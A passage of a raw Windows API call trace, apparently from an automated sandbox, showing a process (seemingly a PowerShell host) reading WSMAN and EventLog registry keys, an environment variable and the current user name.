(in: hKey=0x31c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x2ee8f4, lpData=0x413238, lpcbData=0x2ee8f0*=0x8 | out: lpType=0x2ee8f4*=0x1, lpData="2.0", lpcbData=0x2ee8f0*=0x8) returned 0x0 [0065.156] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee858 | out: phkResult=0x2ee858*=0x320) returned 0x0 [0065.156] RegQueryInfoKeyW (in: hKey=0x320, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2ee8a8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee8ac, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2ee8a8*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee8ac*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.156] RegEnumValueW (in: hKey=0x320, dwIndex=0x0, lpValueName=0x413238, lpcchValueName=0x2ee8d0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x2ee8d0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0065.157] RegEnumValueW (in: hKey=0x320, dwIndex=0x1, lpValueName=0x413238, lpcchValueName=0x2ee8d0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x2ee8d0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0065.157] RegQueryValueExW (in: hKey=0x320, lpValueName="StackVersion", lpReserved=0x0, lpType=0x2ee8b0, lpData=0x0, lpcbData=0x2ee8ac*=0x0 | out: lpType=0x2ee8b0*=0x1, lpData=0x0, lpcbData=0x2ee8ac*=0x8) returned 0x0 [0065.157] RegQueryValueExW (in: hKey=0x320, lpValueName="StackVersion", lpReserved=0x0, lpType=0x2ee8b0, lpData=0x413238, lpcbData=0x2ee8ac*=0x8 | out: lpType=0x2ee8b0*=0x1, lpData="2.0", lpcbData=0x2ee8ac*=0x8) returned 0x0 [0065.158] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.158] GetLastError () returned 0xcb [0065.159] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.159] GetLastError () returned 0xcb [0065.188] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee818 | out: phkResult=0x2ee818*=0x324) returned 0x0 [0065.188] RegQueryInfoKeyW (in: hKey=0x324, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2ee880, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee87c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2ee880*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee87c*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.189] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x0, lpName=0x413238, lpcchName=0x2ee89c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2ee89c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.189] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x1, lpName=0x413238, lpcchName=0x2ee89c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2ee89c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.189] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x2, lpName=0x413238, lpcchName=0x2ee89c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2ee89c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.189] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x3, lpName=0x413238, lpcchName=0x2ee89c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2ee89c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.189] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x4, lpName=0x413238, lpcchName=0x2ee89c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x2ee89c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.190] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x5, lpName=0x413238, lpcchName=0x2ee89c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2ee89c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.190] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x6, lpName=0x413238, lpcchName=0x2ee89c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2ee89c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.190] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x7, lpName=0x413238, lpcchName=0x2ee89c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2ee89c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.190] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x8, lpName=0x413238, lpcchName=0x2ee89c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2ee89c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.190] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x340) returned 0x0 [0065.191] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x0) returned 0x2 [0065.191] RegOpenKeyExW (in: hKey=0x324, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x350) returned 0x0 [0065.191] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x0) returned 0x2 [0065.191] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x354) returned 0x0 [0065.191] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x0) returned 0x2 [0065.191] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x358) returned 0x0 [0065.192] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x0) returned 0x2 [0065.192] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x35c) returned 0x0 [0065.192] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x0) returned 0x2 [0065.192] RegOpenKeyExW (in: hKey=0x324, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x360) returned 0x0 [0065.192] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x0) returned 0x2 [0065.192] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x364) returned 0x0 [0065.193] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x0) returned 0x2 [0065.193] RegOpenKeyExW (in: hKey=0x324, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x368) returned 0x0 [0065.193] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x0) returned 0x2 [0065.193] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x36c) returned 0x0 [0065.193] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee848 | out: phkResult=0x2ee848*=0x370) returned 0x0 [0065.193] RegCloseKey (hKey=0x370) returned 0x0 [0065.193] RegCloseKey (hKey=0x324) returned 0x0 [0065.194] RegCloseKey (hKey=0x36c) returned 0x0 [0065.210] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2ee994 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2ee994) returned 0x1 [0065.215] GetLastError () returned 0x3 [0065.216] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2ee99c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ee99c) returned 1 [0065.285] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7fc | out: phkResult=0x2ee7fc*=0x324) returned 0x0 [0065.285] RegQueryInfoKeyW (in: hKey=0x324, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2ee864, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee860, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2ee864*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee860*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.285] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x0, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.286] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x1, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.286] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x2, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.286] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x3, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.286] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x4, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.286] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x5, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.286] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x6, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.286] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x7, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.287] RegEnumKeyExW (in: hKey=0x324, dwIndex=0x8, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.287] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x370) returned 0x0 [0065.287] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.287] RegOpenKeyExW (in: hKey=0x324, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x374) returned 0x0 [0065.287] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.288] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x378) returned 0x0 [0065.288] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.288] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x37c) returned 0x0 [0065.288] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.288] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x380) returned 0x0 [0065.288] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.288] RegOpenKeyExW (in: hKey=0x324, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x384) returned 0x0 [0065.289] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.289] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x388) returned 0x0 [0065.289] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.289] RegOpenKeyExW (in: hKey=0x324, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x38c) returned 0x0 [0065.289] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.289] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x390) returned 0x0 [0065.290] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x394) returned 0x0 [0065.290] RegCloseKey (hKey=0x394) returned 0x0 [0065.290] RegCloseKey (hKey=0x324) returned 0x0 [0065.290] RegCloseKey (hKey=0x390) returned 0x0 [0065.290] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7fc | out: phkResult=0x2ee7fc*=0x390) returned 0x0 [0065.290] RegQueryInfoKeyW (in: hKey=0x390, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2ee864, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee860, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2ee864*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee860*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.290] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x0, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.294] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x1, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.294] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x2, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.294] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x3, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.294] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x4, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.294] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x5, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.295] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x6, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.295] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x7, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.295] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x8, lpName=0x413238, lpcchName=0x2ee880, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2ee880, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.295] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x324) returned 0x0 [0065.295] RegOpenKeyExW (in: hKey=0x324, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.295] RegOpenKeyExW (in: hKey=0x390, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x394) returned 0x0 [0065.295] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.296] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x398) returned 0x0 [0065.296] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.296] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x39c) returned 0x0 [0065.296] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.296] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x3a0) returned 0x0 [0065.297] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.297] RegOpenKeyExW (in: hKey=0x390, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x3a4) returned 0x0 [0065.297] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.297] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x3a8) returned 0x0 [0065.297] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.297] RegOpenKeyExW (in: hKey=0x390, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x3ac) returned 0x0 [0065.297] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x0) returned 0x2 [0065.298] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x3b0) returned 0x0 [0065.298] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee82c | out: phkResult=0x2ee82c*=0x3b4) returned 0x0 [0065.298] RegCloseKey (hKey=0x3b4) returned 0x0 [0065.298] RegCloseKey (hKey=0x390) returned 0x0 [0065.298] RegCloseKey (hKey=0x3b0) returned 0x0 [0065.299] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7f0 | out: phkResult=0x2ee7f0*=0x3b0) returned 0x0 [0065.299] RegQueryInfoKeyW (in: hKey=0x3b0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2ee858, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee854, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2ee858*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee854*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.299] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x0, lpName=0x413238, lpcchName=0x2ee874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2ee874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.299] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x1, lpName=0x413238, lpcchName=0x2ee874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2ee874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.299] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x2, lpName=0x413238, lpcchName=0x2ee874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2ee874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.299] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x3, lpName=0x413238, lpcchName=0x2ee874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2ee874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.299] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x4, lpName=0x413238, lpcchName=0x2ee874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x2ee874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.299] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x5, lpName=0x413238, lpcchName=0x2ee874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2ee874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.299] RegEnumKeyExW (in: 